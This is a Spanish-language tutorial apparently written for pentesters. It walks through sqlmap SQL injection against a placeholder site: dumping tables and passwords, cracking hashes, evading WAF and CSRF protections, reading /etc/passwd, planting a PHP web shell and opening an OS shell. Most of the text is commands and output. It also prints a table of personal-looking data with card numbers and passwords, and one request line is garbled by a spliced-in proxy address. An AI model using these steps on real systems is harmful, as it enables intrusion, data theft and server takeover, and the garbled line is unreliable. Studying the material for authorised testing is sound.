$ sqlmap -u "http://www.example.com/?id=1" --tables -D testdb
1
2
3
4
5
6
7
8
9
10
...SNIP...
[13:59:24] [INFO] fetching tables for database: 'testdb'
Database: testdb
[4 tables]
+---------------+
| member        |
| data          |
| international |
| users         |
+---------------+

Cuando queramos volcar el contenido de una de las tablas.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb

...SNIP...
Database: testdb

Table: users
[4 entries]
+----+--------+------------+
| id | name   | surname    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

Si nos encontramos con una tabla demasiado grande podemos ir por filas.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname

...SNIP...
Database: testdb

Table: users
[4 entries]
+--------+------------+
| name   | surname    |
+--------+------------+
| luther | blisset    |
| fluffy | bunny      |
| wu     | ming       |
| NULL   | nameisnull |
+--------+------------+

Para reducir las filas en función de su número ordinal dentro de la tabla, podemos especificar las filas con las opciones –start y –stop (por ejemplo, desde la segunda hasta la tercera entrada).

1
2
3
4
5
6
7
8
9
10
11
12
13
$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3

...SNIP...
Database: testdb

Table: users
[2 entries]
+----+--------+---------+
| id | name   | surname |
+----+--------+---------+
| 2  | fluffy | bunny   |
| 3  | wu     | ming    |
+----+--------+---------+

Enumeración condicional

Si es necesario recuperar determinadas filas basándose en una condición WHERE conocida (por ejemplo, nombre LIKE “f%”), podemos utilizar la opción –where.

1
2
3
4
5
6
7
8
9
10
11
12
$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"

...SNIP...
Database: testdb

Table: users
[1 entry]
+----+--------+---------+
| id | name   | surname |
+----+--------+---------+
| 2  | fluffy | bunny   |
+----+--------+---------+

Dump completo

En lugar de recuperar el contenido tabla por tabla, podemos recuperar todas las tablas de la base de datos de interés omitiendo por completo el uso de la opción -T (por ejemplo, –dump -D testdb).

Con solo utilizar el modificador –dump sin especificar una tabla con -T, se recuperará todo el contenido actual de la base de datos. En cuanto al modificador –dump-all, se recuperará todo el contenido de todas las bases de datos.

En tales casos, también se recomienda al usuario incluir el modificador –exclude-sysdbs (por ejemplo, –dump-all –exclude-sysdbs), que indicará a SQLMap que omita la recuperación del contenido de las bases de datos del sistema, ya que normalmente es de poco interés para los pentesters.

Enumeración avanzada

DB Schema

Si quisiéramos recuperar la estructura de todas las tablas para tener una visión general completa de la arquitectura de la base de datos, podríamos utilizar el modificador –schema.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ sqlmap -u "http://www.example.com/?id=1" --schema

...SNIP...
Database: master
Table: log
[3 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| date   | datetime     |
| agent  | varchar(512) |
| id     | int(11)      |
+--------+--------------+

Buscando datos concretos

Cuando se trata de estructuras de bases de datos complejas con numerosas tablas y columnas, podemos buscar bases de datos, tablas y columnas de interés utilizando la opción –search.

Esta opción nos permite buscar nombres de identificadores utilizando el operador LIKE. Por ejemplo, si buscamos todos los nombres de tablas que contienen la palabra clave «user».

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sqlmap -u "http://www.example.com/?id=1" --search -T user

...SNIP...
[14:24:19] [INFO] searching tables LIKE 'user'
Database: testdb
[1 table]
+-----------------+
| users           |
+-----------------+

Database: master
[1 table]
+-----------------+
| users           |
+-----------------+
1
2
3
4
5
6
7
8
9
10
11
12
$ sqlmap -u "http://www.example.com/?id=1" --search -C pass

...SNIP...
columns LIKE 'pass' were found in the following databases:
Database: owasp10
Table: accounts
[1 column]
+----------+------+
| Column   | Type |
+----------+------+
| password | text |
+----------+------+

Enumeración y descifrado de contraseñas

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ sqlmap -u "http://www.example.com/?id=1" --dump -D master -T users

...SNIP...
[14:31:41] [INFO] fetching columns for table 'users' in database 'master'
[14:31:41] [INFO] fetching entries for table 'users' in database 'master'
[14:31:41] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N

do you want to crack them via a dictionary-based attack? [Y/n/q] Y

[14:31:41] [INFO] using hash method 'sha1_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/local/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[14:31:41] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N

[14:31:41] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[14:31:41] [INFO] starting 8 processes 
[14:31:41] [INFO] cracked password '05adrian' for hash '70f361f8a1c9035a1d972a209ec5e8b726d1055e'                                                                                                         
[14:31:41] [INFO] cracked password '1201Hunt' for hash 'df692aa944eb45737f0b3b3ef906f8372a3834e9'                                                                                                         
...SNIP...
[14:31:47] [INFO] cracked password 'Zc1uowqg6' for hash '0ff476c2676a2e5f172fe568110552f2e910c917'                                                                                                        
Database: master                                                                                                                                                                                          
Table: users
[32 entries]
+----+------------------+-------------------+-----------------------------+--------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+
| id | cc               | name              | email                       | phone        | address                | birthday          | password                                                    | occupation                                        |
+----+------------------+-------------------+-----------------------------+--------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+
| 1  | 5387278172507117 | Maynard Rice      | MaynardMRice@yahoo.com      | 281-559-0172 | 1698 Bird Spring Lane  | March 1 1958      | 9a0f092c8d52eaf3ea423cef8485702ba2b3deb9 (3052)             | Linemen                                           |
| 2  | 4539475107874477 | Julio Thomas      | JulioWThomas@gmail.com      | 973-426-5961 | 1207 Granville Lane    | February 14 1972  | 10945aa229a6d569f226976b22ea0e900a1fc219 (taqris)           | Agricultural product sorter                       |
| 3  | 4716522746974567 | Kenneth Maloney   | KennethTMaloney@gmail.com   | 954-617-0424 | 2811 Kenwood Place     | May 14 1989       | a5e68cd37ce8ec021d5ccb9392f4980b3c8b3295 (hibiskus)         | General and operations manager                    |
| 4  | 4929811432072262 | Gregory Stumbaugh | GregoryBStumbaugh@yahoo.com | 410-680-5653 | 1641 Marshall Street   | May 7 1936        | b7fbde78b81f7ad0b8ce0cc16b47072a6ea5f08e (spiderpig8574376) | Foreign language interpreter                      |
| 5  | 4539646911423277 | Bobby Granger     | BobbyJGranger@gmail.com     | 212-696-1812 | 4510 Shinn Street      | December 22 1939  | aed6d83bab8d9234a97f18432cd9a85341527297 (1955chev)         | Medical records and health information technician |
| 6  | 5143241665092174 | Kimberly Wright   | KimberlyMWright@gmail.com   | 440-232-3739 | 3136 Ralph Drive       | June 18 1972      | d642ff0feca378666a8727947482f1a4702deba0 (Enizoom1609)      | Electrologist                                     |
| 7  | 5503989023993848 | Dean Harper       | DeanLHarper@yahoo.com       | 440-847-8376 | 3766 Flynn Street      | February 3 1974   | 2b89b43b038182f67a8b960611d73e839002fbd9 (raided)           | Store detective                                   |
| 8  | 4556586478396094 | Gabriela Waite    | GabrielaRWaite@msn.com      | 732-638-1529 | 2459 Webster Street    | December 24 1965  | f5eb0fbdd88524f45c7c67d240a191163a27184b (ssival47)         | Telephone station installer                       |

SQLMap tiene capacidades automáticas para descifrar hash de contraseñas. Al recuperar cualquier valor que se asemeje a un formato hash conocido, SQLMap nos solicita que realicemos un ataque basado en diccionario sobre los hash encontrados.

Los ataques de descifrado de hash se realizan de forma multiprocesamiento, en función del número de núcleos disponibles en el ordenador del usuario. Actualmente, hay una compatibilidad implementada para descifrar 31 tipos diferentes de algoritmos hash, con un diccionario incluido que contiene 1,4 millones de entradas (compiladas a lo largo de los años con las entradas más comunes que aparecen en las filtraciones de contraseñas disponibles públicamente). Por lo tanto, si un hash de contraseña no se elige al azar, hay una gran probabilidad de que SQLMap lo descifre automáticamente.

Enumeración y descifrado de contraseñas de usuarios de bases de datos

Además de las credenciales de usuario que se encuentran en las tablas de la base de datos, también podemos intentar volcar el contenido de las tablas del sistema que contienen credenciales específicas de la base de datos (por ejemplo, credenciales de conexión). Para facilitar todo el proceso, SQLMap cuenta con un modificador especial, –passwords, diseñado específicamente para esta tarea.

1
$ sqlmap -u "http://www.example.com/?id=1" --passwords --batch
1
2
3
4
5
6
7
8
9
10
[14:25:20] [INFO] starting dictionary-based cracking (mysql_passwd)
[14:25:20] [INFO] starting 8 processes 
[14:25:26] [INFO] cracked password 'testpass' for user 'root'
database management system users password hashes:

[*] debian-sys-maint [1]:
    password hash: *6B2C58EABD91C1776DA223B088B601604F898847
[*] root [1]:
    password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
    clear-text password: testpass

Bypass de protecciones de aplicaciones web

Anti-CSRF Token Bypass

Una de las primeras líneas de defensa contra el uso de herramientas de automatización es la incorporación de tokens anti-CSRF (es decir, Cross-Site Request Forgery) en todas las solicitudes HTTP, especialmente aquellas generadas como resultado del rellenado de formularios web.

En términos muy básicos, cada solicitud HTTP en tal escenario debería tener un valor de token (válido) disponible solo si el usuario realmente visitó y utilizó la página. Si bien la idea original era prevenir situaciones con enlaces maliciosos, en las que el simple hecho de abrir estos enlaces tendría consecuencias indeseadas para los usuarios conectados que no fueran conscientes de ello (por ejemplo, abrir páginas de administrador y añadir un nuevo usuario con credenciales predefinidas), esta función de seguridad también reforzó inadvertidamente las aplicaciones contra la automatización (no deseada).

No obstante, SQLMap tiene opciones que pueden ayudar a eludir la protección anti-CSRF. Concretamente, la opción más importante es –csrf-token. Al especificar el nombre del parámetro del token (que ya debería estar disponible en los datos de la solicitud proporcionados), SQLMap intentará automáticamente analizar el contenido de la respuesta de destino y buscar nuevos valores de token para poder utilizarlos en la siguiente solicitud.

Además, incluso en el caso de que el usuario no especifique explícitamente el nombre del token mediante –csrf-token, si uno de los parámetros proporcionados contiene alguno de los infijos comunes (es decir, csrf, xsrf, token), se le preguntará al usuario si desea actualizarlo en futuras solicitudes.

1
2
3
4
5
6
7
8
9
10
11
12
$ sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"

        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.9}
|_ -| . [']     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[*] starting @ 22:18:01 /xxxx-09-18/

POST parameter 'csrf-token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] y

Unique Value Bypass

En algunos casos, la aplicación web solo puede requerir que se proporcionen valores únicos dentro de parámetros predefinidos. Este mecanismo es similar a la técnica anti-CSRF descrita anteriormente, salvo que no es necesario analizar el contenido de la página web. Así, con solo asegurarse de que cada solicitud tenga un valor único para un parámetro predefinido, la aplicación web puede evitar fácilmente los intentos de CSRF y, al mismo tiempo, evitar algunas de las herramientas de automatización. Para ello, se debe utilizar la opción –randomize, que apunta al nombre del parámetro que contiene un valor que debe aleatorizarse antes de enviarse.

1
2
3
4
5
6
7
8
$ sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch -v 5 | grep URI

URI: http://www.example.com:80/?id=1&rp=99954
URI: http://www.example.com:80/?id=1&rp=87216
URI: http://www.example.com:80/?id=9030&rp=36456
URI: http://www.example.com:80/?id=1.%2C%29%29%27.%28%28%2C%22&rp=16689
URI: http://www.example.com:80/?id=1%27xaFUVK%3C%27%22%3EHKtQrg&rp=40049
URI: http://www.example.com:80/?id=1%29%20AND%209368%3D6381%20AND%20%287422%3D7422&rp=95185

Calculated Parameter Bypass

Otro mecanismo similar es aquel en el que una aplicación web espera que se calcule un valor de parámetro adecuado basándose en otros valores de parámetros. En la mayoría de los casos, un valor de parámetro debe contener el resumen del mensaje (por ejemplo, h=MD5(id)) de otro. Para evitarlo, se debe utilizar la opción –eval, con la que se evalúa un código Python válido justo antes de enviar la solicitud al destino.

1
2
3
4
5
6
7
8
$ sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI

URI: http://www.example.com:80/?id=1&h=c4ca4238a0b923820dcc509a6f75849b
URI: http://www.example.com:80/?id=1&h=c4ca4238a0b923820dcc509a6f75849b
URI: http://www.example.com:80/?id=9061&h=4d7e0d72898ae7ea3593eb5ebf20c744
URI: http://www.example.com:80/?id=1%2C.%2C%27%22.%2C%28.%29&h=620460a56536e2d32fb2f4842ad5a08d
URI: http://www.example.com:80/?id=1%27MyipGP%3C%27%22%3EibjjSu&h=db7c815825b14d67aaa32da09b8b2d42
URI: http://www.example.com:80/?id=1%29%20AND%209978%socks4://177.39.187.70:33283ssocks4://177.39.187.70:332833D1232%20AND%20%284955%3D4955&h=02312acd4ebe69e2528382dfff7fc5cc

IP Address Concealing

En caso de que queramos ocultar nuestra dirección IP, o si una determinada aplicación web tiene un mecanismo de protección que incluye nuestra dirección IP actual en una lista negra, podemos intentar utilizar un proxy o la red de anonimato Tor. Se puede configurar un proxy con la opción –proxy (por ejemplo, –proxy=«socks4://177.39.187.70:33283»), donde debemos añadir un proxy que funcione.

Además, si tenemos una lista de proxies, podemos proporcionársela a SQLMap con la opción –proxy-file. De esta manera, SQLMap recorrerá la lista secuencialmente y, en caso de que surja algún problema (por ejemplo, la inclusión de la dirección IP en una lista negra), simplemente pasará de la actual a la siguiente de la lista. La otra opción es utilizar la red Tor para proporcionar una anonimización fácil de usar, en la que nuestra IP puede aparecer en cualquier lugar de una gran lista de nodos de salida de Tor. Cuando se instala correctamente en la máquina local, debería haber un servicio proxy SOCKS4 en el puerto local 9050 o 9150. Al utilizar el conmutador –tor, SQLMap intentará automáticamente encontrar el puerto local y lo utilizará adecuadamente.

Si queremos asegurarnos de que Tor se utiliza correctamente, para evitar comportamientos no deseados, podemos utilizar el conmutador –check-tor. En tales casos, SQLMap se conectará a https://check.torproject.org/ y comprobará la respuesta para ver si el resultado es el esperado (es decir, si aparece «Congratulations» en el interior).

WAF Bypass

Cada vez que ejecutamos SQLMap, como parte de las pruebas iniciales, SQLMap envía un payload predefinido de aspecto malicioso utilizando un nombre de parámetro inexistente (por ejemplo, ?pfov=…) para comprobar la existencia de un WAF (Web Application Firewall).

Habrá un cambio sustancial en la respuesta en comparación con la original en caso de que exista alguna protección entre el usuario y el objetivo. Por ejemplo, si se implementa una de las soluciones WAF más populares (ModSecurity), debería haber una respuesta 406 - No aceptable después de dicha solicitud.

En caso de detección positiva, para identificar el mecanismo de protección real, SQLMap utiliza una biblioteca de terceros, identYwaf, que contiene las firmas de 80 soluciones WAF diferentes. Si quisiéramos omitir por completo esta prueba heurística (es decir, para producir menos ruido), podemos utilizar el modificador –skip-waf.

User-agent Blacklisting Bypass

En caso de problemas inmediatos (por ejemplo, código de error HTTP 5XX desde el inicio) durante la ejecución de SQLMap, una de las primeras cosas que debemos considerar es la posible inclusión en la lista negra del agente de usuario predeterminado utilizado por SQLMap (por ejemplo, agente de usuario: sqlmap/1.4.9 (http://sqlmap.org)).

Esto se puede evitar fácilmente con el modificador –random-agent, que cambia el agente de usuario predeterminado por un valor elegido al azar de entre un amplio conjunto de valores utilizados por los navegadores.

Scripts de manipulación

Por último, uno de los mecanismos más populares implementados en SQLMap para eludir las soluciones WAF/IPS son los denominados scripts «tamper». Los scripts tamper son un tipo especial de scripts (Python) escritos para modificar las solicitudes justo antes de enviarlas al objetivo, en la mayoría de los casos para eludir alguna protección.

Por ejemplo, uno de los scripts tamper más populares consiste en sustituir todas las apariciones del operador mayor que (>) por NOT BETWEEN 0 AND #, y el operador igual (=) por BETWEEN # AND #. De esta forma, muchos mecanismos de protección primitivos (centrados principalmente en prevenir ataques XSS) se eluden fácilmente, al menos para fines de SQLi.

Los scripts de manipulación se pueden encadenar, uno tras otro, dentro de la opción –tamper (por ejemplo, –tamper=between,randomcase), donde se ejecutan según su prioridad predefinida. La prioridad está predefinida para evitar cualquier comportamiento no deseado, ya que algunos scripts modifican los payloads al modificar su sintaxis SQL (por ejemplo, ifnull2ifisnull). Por el contrario, algunos scripts de manipulación no se preocupan por el contenido interno (por ejemplo, appendnullbyte).

Los scripts de manipulación pueden modificar cualquier parte de la solicitud, aunque la mayoría cambia el contenido de los payloads.

Tamper-ScriptDescripción
0eunionReemplaza las instancias de UNION por e0UNION.
base64encodeCodifica en Base64 todos los caracteres de un payload dado.
betweenReemplaza el operador mayor que (>) con NOT BETWEEN 0 AND # y el operador igual (=) con BETWEEN # AND #.
commalesslimitReemplaza instancias (MySQL) como LIMIT M, N por su equivalente LIMIT N OFFSET M.
equaltolikeReemplaza todas las ocurrencias del operador igual (=) por su equivalente LIKE.
halfversionedmorekeywordsAñade un comentario versionado (MySQL) antes de cada palabra clave.
modsecurityversionedEnvuelve la consulta completa con un comentario versionado (MySQL).
modsecurityzeroversionedEnvuelve la consulta completa con un comentario versionado cero (MySQL).
percentageAñade un signo de porcentaje (%) delante de cada carácter (ej. SELECT%S%E%L%E%C%T).
plus2concatReemplaza el operador suma (+) por la función CONCAT() de MsSQL.
randomcaseReemplaza cada carácter de una palabra clave con un valor en mayúsculas o minúsculas aleatorio (ej. SELECTSEleCt).
space2commentReemplaza el carácter espacio ( ) con comentarios /* */.
space2dashReemplaza el carácter espacio ( ) con un comentario de guion doble (--) seguido de una cadena aleatoria y un salto de línea (\n).
space2hashReemplaza las instancias de espacio ( ) en MySQL con un carácter # seguido de una cadena aleatoria y un salto de línea (\n).
space2mssqlblankReemplaza las instancias de espacio ( ) en MsSQL con un carácter de espacio aleatorio de un conjunto válido de caracteres alternativos.
space2plusReemplaza el carácter espacio ( ) con un signo más (+).
space2randomblankReemplaza el carácter espacio ( ) con un carácter de espacio aleatorio de un conjunto válido de caracteres alternativos.
symboliclogicalReemplaza los operadores lógicos AND y OR por sus equivalentes simbólicos (&& y `
versionedkeywordsEncierra cada palabra clave que no sea función con un comentario versionado (MySQL).
versionedmorekeywordsEncierra cada palabra clave con un comentario versionado (MySQL).

Para obtener una lista completa de los scripts de manipulación implementados, junto con la descripción anterior, se puede utilizar el comando –list-tampers.

Bypass adicionales

El primero es la codificación de transferencia fragmentada, que se activa mediante el modificador –chunked y divide el cuerpo de la solicitud POST en los denominados «fragmentos». Las palabras clave SQL incluidas en la lista negra se dividen entre fragmentos de tal manera que la solicitud que las contiene puede pasar desapercibida.

El otro mecanismo de elusión es la contaminación de parámetros HTTP (HPP), en la que las cargas útiles se dividen de forma similar a como se hace en el caso de –chunked entre diferentes valores con el mismo nombre de parámetro (por ejemplo, ?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users…), que son concatenados por la plataforma de destino si la admite (por ejemplo, ASP).

OS exploitation

SQLMap tiene la capacidad de utilizar una inyección SQL para leer y escribir archivos del sistema local fuera del DBMS. SQLMap también puede intentar proporcionarnos la ejecución directa de comandos en el host remoto si contamos con los privilegios adecuados.

Comprobar privilegios

Para comprobar si tenemos privilegios DBA con SQLMap, podemos utilizar la opción –is-dba.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba

        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4.11#stable}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[*] starting @ 17:31:55 /xxxx-xx-xx/

[17:31:55] [INFO] resuming back-end DBMS 'mysql'
[17:31:55] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
current user is DBA: False

Obtenemos que el usuario actual es DBA: False, lo que significa que no tenemos acceso DBA.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ sqlmap -u "http://www.example.com/?id=1" --is-dba

        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.11#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org


[*] starting @ 17:37:47 /xxxx-xx-xx/

[17:37:47] [INFO] resuming back-end DBMS 'mysql'
[17:37:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
current user is DBA: True

Vemos que esta vez obtenemos que el usuario actual es DBA: True, lo que significa que podemos tener el privilegio de leer archivos locales.

Escritura/lectura de ficheros

Lectura

En lugar de inyectar manualmente la línea anterior a través de SQLi, SQLMap facilita relativamente la lectura de archivos locales con la opción –file-read.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"

        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4.11#stable}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org


[*] starting @ 17:40:00 /xxxx-xx-xx/

[17:40:00] [INFO] resuming back-end DBMS 'mysql'
[17:40:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
[17:40:01] [INFO] fetching file: '/etc/passwd'
[17:40:01] [WARNING] time-based comparison requires larger statistical model, please wait............................. (done)
[17:40:07] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[17:40:07] [WARNING] unable to retrieve the content of the file '/etc/passwd', going to fall-back to simpler UNION technique
[17:40:07] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] y

[17:40:14] [INFO] the local file '~/.sqlmap/output/www.example.com/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (982 B)
files saved to [1]:
[*] ~/.sqlmap/output/www.example.com/files/_etc_passwd (same file)
1
2
3
4
5
6
$ cat ~/.sqlmap/output/www.example.com/files/_etc_passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...SNIP...

Escritura

Cuando se trata de escribir archivos en el servidor de alojamiento, las restricciones son mucho mayores en los DMBS modernos, ya que podemos utilizar esto para escribir un Web Shell en el servidor remoto y, por lo tanto, ejecutar código y tomar el control del servidor.

Por eso, los DBMS modernos desactivan la escritura de archivos de forma predeterminada y requieren ciertos privilegios para que los administradores de bases de datos puedan escribir archivos. Por ejemplo, en MySql, la configuración –secure-file-priv debe desactivarse manualmente para permitir la escritura de datos en archivos locales utilizando la consulta SQL INTO OUTFILE, además de cualquier acceso local necesario en el servidor host, como el privilegio de escribir en el directorio que necesitamos.

Aun así, muchas aplicaciones web requieren que los DBMS puedan escribir datos en archivos, por lo que vale la pena comprobar si podemos escribir archivos en el servidor remoto. Para hacerlo con SQLMap, podemos utilizar las opciones –file-write y –file-dest.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"

        ___
       __H__
 ___ ___[']_____ ___ ___  {1.4.11#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org


[*] starting @ 17:54:18 /xxxx-xx-xx/

[17:54:19] [INFO] resuming back-end DBMS 'mysql'
[17:54:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
do you want confirmation that the local file 'shell.php' has been successfully written on the back-end DBMS file system ('/var/www/html/shell.php')? [Y/n] y

[17:54:28] [INFO] the local file 'shell.php' and the remote file '/var/www/html/shell.php' have the same size (31 B)
1
2
3
4
5
6
7
$ curl http://www.example.com/shell.php?cmd=ls+-la

total 148
drwxrwxrwt 1 www-data www-data   4096 Nov 19 17:54 .
drwxr-xr-x 1 www-data www-data   4096 Nov 19 08:15 ..
-rw-rw-rw- 1 mysql    mysql       188 Nov 19 07:39 basic.php
...SNIP...

Ejecución de comandos

Ahora que hemos confirmado que podemos escribir un shell PHP para ejecutar comandos, podemos probar la capacidad de SQLMap para proporcionarnos un shell del sistema operativo sencillo sin tener que escribir manualmente un shell remoto.

SQLMap utiliza diversas técnicas para obtener un shell remoto a través de vulnerabilidades de inyección SQL, como escribir un shell remoto, como acabamos de hacer, escribir funciones SQL que ejecutan comandos y recuperan resultados o incluso utilizar algunas consultas SQL que ejecutan directamente comandos del sistema operativo, como xp_cmdshell en Microsoft SQL Server. Para obtener un shell del sistema operativo con SQLMap, podemos utilizar la opción –os-shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ sqlmap -u "http://www.example.com/?id=1" --os-shell

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.4.11#stable}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[*] starting @ 18:02:15 /xxxx-xx-xx/

[18:02:16] [INFO] resuming back-end DBMS 'mysql'
[18:02:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
[18:02:37] [INFO] the local file '/tmp/sqlmapmswx18kp12261/lib_mysqludf_sys8kj7u1jp.so' and the remote file './libslpjs.so' have the same size (8040 B)
[18:02:37] [INFO] creating UDF 'sys_exec' from the binary UDF file
[18:02:38] [INFO] creating UDF 'sys_eval' from the binary UDF file
[18:02:39] [INFO] going to use injected user-defined functions 'sys_eval' and 'sys_exec' for operating system command execution
[18:02:39] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER

os-shell> ls -la
do you want to retrieve the command standard output? [Y/n/a] a

[18:02:45] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
No output

Vemos que SQLMap utilizó por defecto la técnica UNION para obtener un shell del sistema operativo, pero finalmente no nos proporcionó ningún resultado. No hay resultados. Por lo tanto, como ya sabemos que existen varios tipos de vulnerabilidades de inyección SQL, intentemos especificar otra técnica que tenga más posibilidades de proporcionarnos resultados directos, como la inyección SQL basada en errores, que podemos especificar con –technique=E.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
$ sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E

        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.11#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org


[*] starting @ 18:05:59 /xxxx-xx-xx/

[18:05:59] [INFO] resuming back-end DBMS 'mysql'
[18:05:59] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4

do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y

[18:06:07] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1

[18:06:09] [WARNING] unable to automatically parse any web server path
[18:06:09] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[18:06:09] [WARNING] potential permission problems detected ('Permission denied')
[18:06:10] [WARNING] unable to upload the file stager on '/var/www/'
[18:06:10] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[18:06:11] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://www.example.com/tmpumgzr.php
[18:06:11] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://www.example.com/tmpbznbe.php
[18:06:11] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

os-shell> ls -la

do you want to retrieve the command standard output? [Y/n/a] a

command standard output:
---
total 156
drwxrwxrwt 1 www-data www-data   4096 Nov 19 18:06 .
drwxr-xr-x 1 www-data www-data   4096 Nov 19 08:15 ..
-rw-rw-rw- 1 mysql    mysql       188 Nov 19 07:39 basic.php
...SNIP...

SQLMap nos preguntó primero por el tipo de lenguaje utilizado en este servidor remoto, que sabemos que es PHP. A continuación, nos preguntó por el directorio raíz web del servidor, y le pedimos a SQLMap que lo buscara automáticamente utilizando «ubicaciones comunes». Ambas opciones son las opciones predeterminadas y se habrían seleccionado automáticamente si hubiéramos añadido la opción «–batch» a SQLMap.

This post is licensed under CC BY 4.0 by the author.